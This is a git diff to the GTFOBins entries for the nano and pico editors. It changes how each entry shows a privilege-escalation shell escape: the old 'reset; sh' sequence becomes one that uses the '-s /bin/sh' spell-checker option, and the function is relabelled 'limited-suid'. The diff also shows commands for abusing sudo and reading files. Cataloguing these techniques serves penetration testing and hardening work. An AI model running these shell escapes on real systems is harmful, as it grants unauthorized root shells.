diff --git a/_gtfobins/nano.md b/_gtfobins/nano.md index 4c008a4..51d4ba3 100644 --- a/_gtfobins/nano.md +++ b/_gtfobins/nano.md @@ -17,12 +17,12 @@ functions: ^O file-read: - code: nano file_to_read - suid: + limited-suid: - description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed. code: | - ./nano - ^R^X - reset; sh 1>&0 2>&0 + ./nano -s /bin/sh + /bin/sh + ^T sudo: - code: | sudo nano diff --git a/_gtfobins/pico.md b/_gtfobins/pico.md index f88f26d..e87af3f 100644 --- a/_gtfobins/pico.md +++ b/_gtfobins/pico.md @@ -17,12 +17,12 @@ functions: ^O file-read: - code: pico file_to_read - suid: + limited-suid: - description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed. code: | - ./pico - ^R^X - reset; sh 1>&0 2>&0 + ./pico -s /bin/sh + /bin/sh + ^T sudo: - code: | sudo pico